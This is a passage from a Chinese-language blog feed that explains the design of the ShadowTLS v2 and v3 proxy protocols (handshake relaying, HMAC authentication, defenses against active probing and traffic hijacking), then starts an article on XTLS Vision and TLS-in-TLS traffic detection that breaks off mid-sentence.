&lt;h3 id=&quot;ying-dui-liu-liang-fen-xi&quot;&gt;应对流量分析&lt;&#x2F;h3&gt;
&lt;p&gt;正常的 TLS 数据，在握手结束后会使用 Application Data 封装包来进行通信。而直接转发 shadowsocks 数据流完全不符合 TLS 协议，甚至 wireshark 会将后续的数据包高亮出来以表示有问题。解决这个问题并不难，我们只需要在双边分别做封装和解封装即可。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ying-dui-zhu-dong-tan-ce&quot;&gt;应对主动探测&lt;&#x2F;h3&gt;
&lt;p&gt;如果要能应对主动探测，我们就要能够做两件事（和 Trojan 需要做的一样）：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;区分客户端流量和主动探测流量&lt;&#x2F;li&gt;
&lt;li&gt;正确响应主动探测流量&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;我们需要客户端给出一个特殊的东西，以此来判断这个是我们的客户端流量。为了避免主动探测，我们必须引入一个预共享 key。但是怎么做呢？&lt;&#x2F;p&gt;
&lt;p&gt;Trojan 协议中，直接发送密码的 hash 即可。但是我们这里只有明文信道可以用，所以直接发送密码的 hash 显然暴露了密码，等于说密码不再有意义；并且完全无法防御数据重放。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shadowtls-v2-xie-yi-she-ji&quot;&gt;ShadowTLS v2 协议设计&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;server-challenge&quot;&gt;Server Challenge&lt;&#x2F;h3&gt;
&lt;p&gt;基于明文信道我们只能通过 challenge-response 的形式做鉴定。正常来讲，我们要鉴定 client，就需要 server 侧发送一个 challenge。但事实上我们并不能这么做，因为正常的 https server 不可能在 TLS 握手后就发回一个 challenge。&lt;&#x2F;p&gt;
&lt;p&gt;那么能不能将 challenge 藏在正常的握手中呢？对 challenge 的要求很简单，随机且 client 不可控就行。我的思路是，其实握手过程本身中 server 发送的数据就可以作为 challenge：它有随机数据，如 server random，它也不是 client 可控的。&lt;&#x2F;p&gt;
&lt;p&gt;这里我将握手过程中 server 发送的所有数据作为 challenge（当然也可以使用 server random，但是这样需要 parse TLS 包，需要感知 TLS 协议细节，实现上有点麻烦并且可能引入细节上的特征区分性），这样可以尽可能地弱化对 TLS 协议细节的依赖，所以不再需要依赖 TLS1.2 的握手行为细节。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;client-response&quot;&gt;Client Response&lt;&#x2F;h3&gt;
&lt;p&gt;我们有个 challenge，那么如何 response 呢？显然我们需要鉴定预共享 key，那么我们直接使用 &lt;code&gt;hmac(data, key)&lt;&#x2F;code&gt; 作为 response 即可（可以简单理解为 &lt;code&gt;hash(data+key)&lt;&#x2F;code&gt;，但安全性上更好，都可以流式计算得到，不需要缓存数据）。&lt;&#x2F;p&gt;
&lt;p&gt;这个 Response 数据怎么发回呢？如果作为单独的数据包，则会引入新的区分性特征。所以我们这里将这个 Response 放在第一个 Application Data 包的头部发送至 Server 侧。&lt;&#x2F;p&gt;
&lt;p&gt;这个 hmac 我这里使用 hmac-sha1 的前 8 byte，安全性已经足够良好。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;application-data&quot;&gt;Application Data&lt;&#x2F;h3&gt;
&lt;p&gt;在数据转发的过程中，会做 Application Data 封装和解封装。这里需要考虑的问题是，正常情况下单个 Application Data 数据包是多大？当前实现中直接拍脑袋定了一个 buffer size，但是为了避免这个包大小成为特征，后续需要调研一下 TLS 库的实现并抓包观测一下，定一个合理的最大值。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;chu-li-zhu-dong-tan-ce-liu-liang&quot;&gt;处理主动探测流量&lt;&#x2F;h3&gt;
&lt;p&gt;我们可以将服务端模型简化为：默认连接至 handshake server；如果 hmac 鉴定通过则切换至 data server。&lt;&#x2F;p&gt;
&lt;p&gt;对于主动探测流量，它是不可能刚好猜对 8 byte 的 hmac 的，所以它永远不会切换至 data server。为了避免不必要的 hash 计算，在前 N 个 Application Data 包验证 hmac 不通过的时候（这里取 N 而不是取 1 是因为不确定是不是发送了 Application Data 就一定标记握手结束），会直接切换至直接代理，后续不再尝试 hmac 计算和验证。&lt;&#x2F;p&gt;
&lt;p&gt;详细的协议设计写在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;ihciah&#x2F;shadow-tls&#x2F;blob&#x2F;master&#x2F;docs&#x2F;protocol-cn.md&quot;&gt;这里&lt;&#x2F;a&gt; 了，感兴趣可以参考。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;shadowtls-yu-trojan-de-dui-bi&quot;&gt;ShadowTLS 与 Trojan 的对比&lt;&#x2F;h3&gt;
&lt;p&gt;对比 Trojan，ShadowTLS 不需要自行签发证书（可以直接使用大公司或机构的可信域名），也不需要自行启动伪装的 HTTP 服务（因为数据直接转发至可信域名对应网站），使用可信域名可以进一步弱化特征，藏木于林。&lt;&#x2F;p&gt;
&lt;p&gt;ShadowTLS 和 Trojan 都可以应对主动探测，当使用浏览器直接打开时，都可以正常访问到 HTTP 页面。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;geng-jin-yi-bu&quot;&gt;更进一步&lt;&#x2F;h2&gt;
&lt;p&gt;UPDATED AT 2022-11-13&lt;&#x2F;p&gt;
&lt;p&gt;距离 v2 实现发布一个多月过去了，ShadowTLS 取得了不错的结果：在过去一段时间 Trojan 被大规模封禁时，ShadowTLS 依旧可用。当前 ShadowRocket 和 Surge 都支持了这个协议（虽然我还是没钱买 Surge）。&lt;&#x2F;p&gt;
&lt;p&gt;但其实也有很多可以完善的地方：&lt;&#x2F;p&gt;
&lt;h3 id=&quot;tls-zhi-wen-wen-ti&quot;&gt;TLS 指纹问题&lt;&#x2F;h3&gt;
&lt;p&gt;对于 Server，我们直接转发流量，不存在指纹问题；但 Client 是我们自己实现的，我们预期它看起来和浏览器或其他正常客户端一样，但事实上可能没有足够地像。如果抓包查看 Chrome 发出的 Client Hello 包，可以明显看出里面包含了非常多的 Extension 字段，而这些字段在我们使用 rustls 时是不会自动附加的；并且，不同客户端的默认选择的 Cipher、Hash 列表等是有差别的。&lt;&#x2F;p&gt;
&lt;p&gt;所以一个可以改进的地方是，提供多份 Client TLS Profile 供用户选择使用。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;liu-liang-jie-chi-wen-ti&quot;&gt;流量劫持问题&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;ihciah&#x2F;shadow-tls&#x2F;issues&#x2F;30&quot;&gt;这个 issue&lt;&#x2F;a&gt; 里提到了一个确实存在的问题：如果有人将 Client 侧的流量劫持到握手服务器上怎么办？&lt;&#x2F;p&gt;
&lt;p&gt;首先是 Client 信任谁？在它完成 TLS 握手前，它的表现其实和普通的 TLS Client 一样。要得到 Client 的信任，首先需要能过证书验证，能完成 TLS 握手。能做这件事的人除了我们的 Server，还有握手服务器本身，以及其他代理握手的中间人。&lt;&#x2F;p&gt;
&lt;p&gt;我认为我们这里可以假定握手服务器是中间人不可控的，其证书也不可能被中间人持有。所以现在重点就在于和我们一样代理握手的中间人了。中间人不需要解密流量，它的目标是鉴别我们是不是正常的连接。所以虽然它没有拿到解密 key，它依旧可以对流量做劫持和重放来达到目的：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;直接劫持整个连接到握手服务器（这个是 issue 里提到的攻击方式）：在 Client 完成协议切换后就会露馅，握手服务器会返回 Encrypted Alert。&lt;&#x2F;li&gt;
&lt;li&gt;正常代理流量，但偷偷丢掉或者乱序一个 Application Data：正常应当返回 Encrypted Alert，但因为我们并不做消息 Authentication，也不做 Encryption，所以我们其实是感知不到这件事的，这件事会被丢给下层服务。我们依赖下层服务断开连接来返回 Encrypted Alert。&lt;&#x2F;li&gt;
&lt;li&gt;观测连接断开：2 中也提到，我们需要妥善处理连接断开的问题，无论是正常关闭还是异常关闭。但当前实现上没有发送 Encrypted Alert。&lt;&#x2F;li&gt;
&lt;li&gt;合并相邻 Application Data：正常情况下 TLS 协议内部会有序列号和 MAC，但我们的封装当前是没有的，所以如果劫持者合并了相邻的 Application Data 后连接仍旧正常，那么也可以发现是伪装的 TLS。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;但是这些问题（除了问题 3）需要能够在主链路上劫持流量才能生效，如果没有其他 hint 的话，对所有出国 tls 流量做劫持，还是有很高风险的。所以该问题我认为其实问题并不大。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;what-s-better-protocol&quot;&gt;What’s Better Protocol?&lt;&#x2F;h3&gt;
&lt;p&gt;我们可以简单 fix 前面提到的一部分问题（这些是一些实现问题，而非协议问题）：提供 Client TLS Profile、连接关闭时发送 Encrypted Alert。但如何应对剩下的流量劫持问题呢？&lt;&#x2F;p&gt;
&lt;h4 id=&quot;zhen-dui-zhi-jie-jie-chi-zhi-wo-shou-fu-wu-qi-de-gong-ji&quot;&gt;针对直接劫持至握手服务器的攻击&lt;&#x2F;h4&gt;
&lt;p&gt;我们可以看出，问题的关键在于 Client 没有对 Server 做鉴权（只鉴定了证书）。Server 需要表明身份，如果放在 Server Hello 中的某个 Extension 中则可能会成为明显特征；如果直接夹带在后续流量中，则同样会使探测者困惑，无法正常解密。&lt;&#x2F;p&gt;
&lt;p&gt;我们需要这么一个地方：它是 Server 发送的，本身就是随机数，并且我们修改它没什么影响，最好是在发送完 Server Random 后发送的（这样可以利用 Server Random 防御重放攻击）。在 IP 包上其实我们可以藏一些东西，但这样就要求我们有系统管理员权限，会引入更强的环境限制，所以我们尽可能地在 TCP 之上寻找这样的地方。&lt;&#x2F;p&gt;
&lt;p&gt;于是我们可以找到一个符合条件的隐藏点：Session ID（仅限 TLS 1.3 的 Session ID）。由于我们完全信任 Server Random 一定是 Random 的，所以这里可以做的更简单：如果中继的 Server Hello 包中包含一个 32 位的 Session ID，则替换该 ID 为 Server Random 的 HMAC。由于 TLS 1.2 默认这个字段是空的，所以我们不能贸然地为 TLS 1.2 插入这个值，以避免成为特征。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;zhen-dui-liu-liang-de-reshape&quot;&gt;针对流量的 Reshape&lt;&#x2F;h4&gt;
&lt;p&gt;我们的 Application Data 封装可以被 reshape，但真实的 TLS 流量不行，所以我们需要在这层封装内也参考 TLS 的做法，携带一些数据用于校验。这种校验有助于发现前面提到的问题 2 和 4，之后只需要响应 Alert 并断开连接即可。&lt;&#x2F;p&gt;
&lt;p&gt;当然，这些都还没实现（until 2022-11-13），如果你感兴趣，欢迎提 issue 认领贡献！&lt;&#x2F;p&gt;
&lt;p&gt;实现 fix 和对直接劫持至握手服务器的防御可以对旧版本 Client 保持兼容，但要向增加 Application Data 增加 MAC 就不得不改协议啦（可能是 v3 了）～&lt;&#x2F;p&gt;
&lt;h2 id=&quot;v3-protocol&quot;&gt;V3 Protocol&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;本节内容更新 2023-02，完整内容见&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;ihciah&#x2F;shadow-tls&#x2F;blob&#x2F;master&#x2F;docs&#x2F;protocol-v3-zh.md&quot;&gt;链接&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;ban-ben-yan-jin&quot;&gt;版本演进&lt;&#x2F;h3&gt;
&lt;p&gt;在 2022 年 8 月的时候我实现了第一版 ShadowTLS 协议。当时 V1 协议的目标非常简单，仅仅通过代理 TLS 握手来逃避中间人对流量的判别。V1 协议假定中间人只会观察握手流量，不会观察后续流量、不会做主动探测，也不会做流量劫持。&lt;&#x2F;p&gt;
&lt;p&gt;但这个假设并不成立。为了防御主动探测，在 V2 版本的协议中添加了通过 challenge-response 方式来验证客户端身份的机制；并新增了 Application Data 封装来更好地伪装流量。&lt;&#x2F;p&gt;
&lt;p&gt;V2 版本目前工作良好，在日常使用中我没有遇到被封锁等问题。在实现了对多 SNI 的支持后，它甚至可以作为一个 SNI Proxy 工作，看起来完全不像是一个偷渡数据用的代理。&lt;&#x2F;p&gt;
&lt;p&gt;但是 V2 协议仍假设中间人不会对流量做劫持（参考 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;ihciah&#x2F;shadow-tls&#x2F;issues&#x2F;30&quot;&gt;issue&lt;&#x2F;a&gt;）。流量劫持成本比较高，目前没有被广泛应用，目前中间人的手段仍以旁路观测和注入以及主动探测为主。但这并不意味这未来流量劫持不会被大规模使用，协议设计上能够抵御流量劫持一定是更好的方案。面临的最大的一个问题是，服务端很难隐蔽地表明身份。&lt;&#x2F;p&gt;
&lt;p&gt;这个 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;ihciah&#x2F;shadow-tls&#x2F;issues&#x2F;66&quot;&gt;issue&lt;&#x2F;a&gt; 提出的 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;3andne&#x2F;restls&quot;&gt;restls&lt;&#x2F;a&gt; 提供了一个极具创新性的思路。借鉴这个思路我们可以解决服务端身份鉴定问题。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;v3-xie-yi-mu-biao&quot;&gt;V3 协议目标&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;能够防御流量特征检测、主动探测和流量劫持。&lt;&#x2F;li&gt;
&lt;li&gt;更易于正确实现。&lt;&#x2F;li&gt;
&lt;li&gt;尽可能地弱感知 TLS 协议本身，实现者无需 Hack TLS 库，更不需要自行实现 TLS 协议。&lt;&#x2F;li&gt;
&lt;li&gt;保持简单：仅作为 TCP 流代理，不重复造轮子。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h4 id=&quot;guan-yu-dui-tls-1-2-de-zhi-chi&quot;&gt;关于对 TLS 1.2 的支持&lt;&#x2F;h4&gt;
&lt;p&gt;V3 协议在严格模式下仅支持使用 TLS1.3 的握手服务器。你可以使用 &lt;code&gt;openssl s_client -tls1_3 -connect example.com:443&lt;&#x2F;code&gt; 来探测一个服务器是否支持 TLS1.3。&lt;&#x2F;p&gt;
&lt;p&gt;如果要支持 TLS1.2，需要感知更多 TLS 协议细节，实现起来会更加复杂；鉴于 TLS1.3 已经有较多厂商使用，我们决定在严格模式下仅支持 TLS1.3。&lt;&#x2F;p&gt;
&lt;p&gt;考虑到兼容性和部分对防御连接劫持需求较低的场景（如使用特定 SNI 绕过计费系统），在非严格模式下允许使用 TLS1.2。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;wo-shou-liu-cheng&quot;&gt;握手流程&lt;&#x2F;h3&gt;
&lt;p&gt;这部分协议设计借鉴 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;3andne&#x2F;restls&quot;&gt;restls&lt;&#x2F;a&gt; 但存在一定差别：弱化了对 TLS 细节的感知，更易于实现。&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;客户端的 TLS Client 构造 ClientHello，ClientHello 需要生成自定义的 SessionID。SessionID 长度需为 32，前 28 位是随机值，后 4 位是 ClientHello 帧（不含 TLS 帧的 5 字节头，SessionID 后 4 byte 填充 0）的 HMAC 签名数据。HMAC 实例仅为一次性使用，直接使用密码创建实例。同时需要一个 Read Wrapper 负责提取 ServerHello 中的 ServerRandom 并转发后续流。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;服务端收到包后，会对 ClientHello 做鉴定，如果鉴定失败则直接持续性与握手服务器进行 TCP 中继。如果鉴定成功，也会将其转发至握手服务器，并持续劫持握手服务器的返回数据流。服务端会：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;记录转发的 ServerHello 中的 ServerRandom。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;对所有 ApplicationData 帧的内容部分做处理：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;对数据做变换，将其 XOR SHA256(PreSharedKey + ServerRandom)。&lt;&#x2F;li&gt;
&lt;li&gt;添加 4 byte 前缀 &lt;code&gt;HMAC_ServerRandom(处理后的帧数据)&lt;&#x2F;code&gt;，HMAC 实例需事先灌入 ServerRandom 作为初始值，对此后从握手服务器转发的 ApplicationData 需要复用这个 HMAC 实例。注意帧长度需要同时 + 4。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;客户端的 ReadWrapper 需要解析 ApplicationData 帧，判定前 4 byte HMAC：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;符合 &lt;code&gt;HMAC_ServerRandom(帧数据)&lt;&#x2F;code&gt;，则证明服务端是可靠的。在握手完成后这类帧需要过滤掉。&lt;&#x2F;li&gt;
&lt;li&gt;符合 &lt;code&gt;HMAC_ServerRandomS(帧数据)&lt;&#x2F;code&gt;，则证明数据已经完成切换。需要将内容部分转发至用户侧。&lt;&#x2F;li&gt;
&lt;li&gt;都不符合，此时可能流量已被劫持，需要继续握手（握手失败则作罢），并在握手成功后发送一个长度随机的 HTTP 请求（糊弄性请求），在读取完响应后正确关闭连接。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h4 id=&quot;an-quan-xing-yan-zheng&quot;&gt;安全性验证&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;流量劫持时，Server 会返回没有做 XOR 的数据，Client 会直接进入糊弄流程。&lt;&#x2F;li&gt;
&lt;li&gt;ClientHello 可能会被重放，但无法使用其正确握手(&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;3andne&#x2F;restls&#x2F;blob&#x2F;main&#x2F;Restls%3A%20%E5%AF%B9TLS%E6%8F%A1%E6%89%8B%E7%9A%84%E5%AE%8C%E7%BE%8E%E4%BC%AA%E8%A3%85.md&quot;&gt;restls 的讨论&lt;&#x2F;a&gt;)，所以无法鉴别我们返回的带前缀的 XOR 数据是否可解密。&lt;&#x2F;li&gt;
&lt;li&gt;若 Client 假装数据解密成功，直接发送数据，由于存在数据帧校验，其也无法通过。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;shu-ju-feng-zhuang&quot;&gt;数据封装&lt;&#x2F;h3&gt;
&lt;p&gt;V2 版本的数据封装协议事实上也无法抵御流量劫持，如中间人可能会在握手完成后对这部分数据做篡改，我们需要能够响应 Alert；中间人也可能会按照 V2 协议的样子将一个 ApplicationData 封装拆成两个，如果连接正常，则也可以用于识别协议。&lt;&#x2F;p&gt;
&lt;p&gt;要应对流量劫持，除了要优化握手流程，数据封装部分也要重新设计。我们需要能够对数据流做验证，并且抵御重放、数据篡改、数据切分、数据乱序等攻击。&lt;&#x2F;p&gt;
&lt;p&gt;数据除了最外层继续使用 ApplicationData 封装外，内层添加了 4 byte 的 HMAC 计算值。我们在使用 preshared key 创建 HMAC 实例后，会灌入 &lt;code&gt;ServerRandom+&quot;C&quot;&lt;&#x2F;code&gt; 或 &lt;code&gt;ServerRandom+&quot;S&quot;&lt;&#x2F;code&gt; 作为初始值，前者对应 Client 的发送数据流，后者对应 Server 的发送数据流（目的是防止中间人将我们发送的数据发回来，或者将不同连接的数据重放）。在转发过程中，首先将纯数据灌入 HMAC 实例，之后计算 4 byte 值后放于纯数据最前面。封装出的数据帧格式：(5B tls frame header)(4B HMAC)(data)。封装结束后将 4 byte 数据输入 HMAC 实例（避免中间人剪切拼接请求）。&lt;&#x2F;p&gt;
&lt;p&gt;当数据校验失败时，我们需要立刻发送 TLS Alert 正确关闭连接。在连接断开时也需要能够正确关闭。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;an-quan-xing-yan-zheng-1&quot;&gt;安全性验证&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;对于中间人的数据篡改，HMAC 会直接验证出来，会响应 Alert。&lt;&#x2F;li&gt;
&lt;li&gt;对于中间人乱序攻击，HMAC 会直接验证出来，会响应 Alert。&lt;&#x2F;li&gt;
&lt;li&gt;对于剪切拼接攻击（合并两个 AppData），虽然 HMAC 处理的是数据流，但是由于我们在处理完成后又额外 update 进去一个 4 byte 的值，所以可以打断两个连续的流，防御这种攻击。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;ihciah&#x2F;shadow-tls&quot;&gt;ShadowTLS&lt;&#x2F;a&gt; 基于 Rust + &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;bytedance&#x2F;monoio&quot;&gt;Monoio&lt;&#x2F;a&gt; 实现，基于 io_uring 和 thread-per-core 模型可以带来更好的 IO 性能（但是由于目前 Monoio 尚未支持 Windows，所以 Windows 用户暂时无法使用，建议使用 wsl）。&lt;&#x2F;p&gt;
&lt;p&gt;综上，本文尝试分析了主流的基于 TLS 的代理协议，并针对它的可能缺陷提出了更好的协议设计，并提供了对应的实现，你可以在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;ihciah&#x2F;shadow-tls&quot;&gt;这里&lt;&#x2F;a&gt; 找到对应代码。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>XTLS Vision原理介绍|Xray新协议Reality | VPS小白</title>
        <published>2025-07-29T00:00:00+00:00</published>
        <updated>2025-07-29T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/xtls-vision原理介绍-xray新协议reality-vps小白/"/>
        <id>https://vercel.juzhong.asia/obsidian/xtls-vision原理介绍-xray新协议reality-vps小白/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/xtls-vision原理介绍-xray新协议reality-vps小白/">&lt;h1 id=&quot;xtls-visionyuan-li-jie-shao-xrayxin-xie-yi-reality-vpsxiao-bai&quot;&gt;XTLS Vision原理介绍|Xray新协议Reality | VPS小白&lt;&#x2F;h1&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;出处：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;vpsxb.net&#x2F;4329&#x2F;&quot;&gt;https:&#x2F;&#x2F;vpsxb.net&#x2F;4329&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;原文：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;XTLS&#x2F;Xray-core&#x2F;discussions&#x2F;1295&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;XTLS&#x2F;Xray-core&#x2F;discussions&#x2F;1295&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;yi-xtls-shen-ru-qian-chu&quot;&gt;一、XTLS 深入浅出&lt;&#x2F;h3&gt;
&lt;p&gt;XTLS 的核心逻辑在于使用真实的 TLS 将代理流量隐藏于互联网最常见的流量之中。
对于普通 TLS 代理协议（比如&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;trojan-gfw.github.io&#x2F;trojan&#x2F;&quot;&gt;原版 Trojan&lt;&#x2F;a&gt;），用户的代理客户端与代理服务器建立一个真实的 TLS 连接，通过这个加密的隧道，应用程序（比如浏览器）再与目标服务器（比如 Google）建立一个 TLS 连接。这时浏览器与 Google 服务器就是端对端加密，任何人（包括代理服务）不能解密或者伪装发送信息，这就是所谓的 e2e。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;浏览器 ---- 代理客户端 ==== 代理服务器 ---- Google&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;代理数据经过审查者的时候其实经过了2次加密，而 RPRX 敏锐的发现在这个过程中 99% 的流量其实是不需要做额外加密的。因为经过 TLS 1.3 加密的数据在外观上是完全一致的，审查者无法分辨。也就是说代理逻辑只需要：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;建立一条真实 TLS 链接&lt;&#x2F;li&gt;
&lt;li&gt;在加密隧道内，跟踪浏览器与 Google 之间的通信，识别当前的通信是否为 TLS 1.3&lt;&#x2F;li&gt;
&lt;li&gt;如不是，则使用普通 TLS 代理方法，继续使用加密隧道&lt;&#x2F;li&gt;
&lt;li&gt;如是，则等待两端开始传输加密数据，代理客户端在第一个内层加密包中插入 UUID，指示代理服务端：我们准备裸奔了！&lt;&#x2F;li&gt;
&lt;li&gt;从第二个内层加密包之后，XTLS 就不再对数据包做任何操作，只是单纯拷贝&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;这就是 &lt;code&gt;xtls-rprx-vision&lt;&#x2F;code&gt;
我们可以发现&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;代理发起的外层 TLS 是真实的，所以审查者无法破解&lt;&#x2F;li&gt;
&lt;li&gt;裸奔的流量在代理方面只做单纯拷贝，如果审查者进行任何破坏，将会得到浏览器与 Google 服务器的正常 alert 响应，与一般访问无异&lt;&#x2F;li&gt;
&lt;li&gt;裸奔的信号是 UUID，此信号是代理私有信息，以避免类似 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;XTLS&#x2F;Go&#x2F;issues&#x2F;17&quot;&gt;关于 23 3 3 判断部分的 代码特征的利用漏洞 Go#17&lt;&#x2F;a&gt; 的漏洞&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;er-jin-hu-wan-mei&quot;&gt;二、近乎完美&lt;&#x2F;h3&gt;
&lt;p&gt;10月3日开始大规模识别和封锁 TLS 代理，透过一些相关讨论及内幕信息，我们知道审查者使用了海量资源以及机器学习的方法。众所周知，机器学习的特长在于从海量数据中提取统计学特征。
引用 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;klzgrad&#x2F;naiveproxy#known-weaknesses&quot;&gt;klzgrad 的话&lt;&#x2F;a&gt;，普通 TLS 代理的一个重要弱点就是加密套娃。上面讨论提及，虽然加密包的外观对于审查者无法分辨，但加密套娃无可避免的一点就是在每个包都会增加一个数据包头，加密层数越多，包头就会越重。
这个增量虽然不大，但对于小数据（比如应答包）可能比较明显，而且会有一些包长超过网络底层的 MTU 限制。最重要的，由于每个包都增加了相同长度，它可能具有某些统计学特征。&lt;&#x2F;p&gt;
&lt;p&gt;RPRX 当年发明 XTLS 主要原因是为了减少额外加密，我们现在推出新流控 Vision，则是因为 XTLS 在对抗审查者有独特的能力。可以说，当传输 TLS 1.3 数据时 XTLS 99% 的数据包，拥有几乎完美的流量特征。因为它是原始数据，没有经过任何代理加工。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;san-tls-in-tls&quot;&gt;三、TLS in TLS&lt;&#x2F;h3&gt;
&lt;p&gt;为什么说 99% 的数据包都是原始数据？那 1% 究竟是什么？
我们需要继续探索一个典型的代理在遇到内部 TLS 1.3 流量的时候，最开始是几个包究竟在干什么。
形象的看，当加密通道建立以后：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;notranslate&quot; class=&quot;language-notranslate &quot;&gt;&lt;code class=&quot;language-notranslate&quot; data-lang=&quot;notranslate&quot;&gt;第一个包 		 代理客户端 -&amp;gt; 代理服务器  		&amp;quot;你好 本次代理访问的目标地址是 Google 这里是我的 UUID&amp;quot;
第二个包 		 代理客户端 &amp;lt;- 代理服务器  		&amp;quot;你好 收到了你的代理请求 请开始发送数据&amp;quot;
第三个包 	浏览器 -&amp;gt; 代理客户端 -&amp;gt; 代理服务器 -&amp;gt; Google 	&amp;quot;你好 Google 我将和你进行加密通话 我支持的加密方式有。。&amp;quot; (这个包也叫 TLS Client Hello)
第四个包 	浏览器 &amp;lt;- 代理客户端 &amp;lt;- 代理服务器 &amp;lt;- Google 	&amp;quot;你好 用户 这是 Google 证书 本次将使用 TLS_AES_128_GCM_SHA256 加密 让我们开始加密通话！&amp;quot; (这个包也叫 TLS Server Hello)
第五个包 	浏览器 -&amp;gt; 代理客户端 -&amp;gt; 代理服务器 -&amp;gt; Google 	&amp;quot;收到 让我们开始加密通话！&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;你所知道的代理协议万变不离其宗，只要用户使用了任何 TLS 连接，都需要进行上述的握手过程。前面提到，外层 TLS 加密后可以认为是绝对安全的，但对于审查者而言，除了破解信息以外，还可以利用一些附加信息来识别这5个包。
这就是所谓 TLS in TLS 检测的关键点。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;si-sheng-si-5bao&quot;&gt;四、生死5包&lt;&#x2F;h3&gt;
&lt;p&gt;最明显的特征，是这5个包的长度。其中&lt;&#x2F;p&gt;
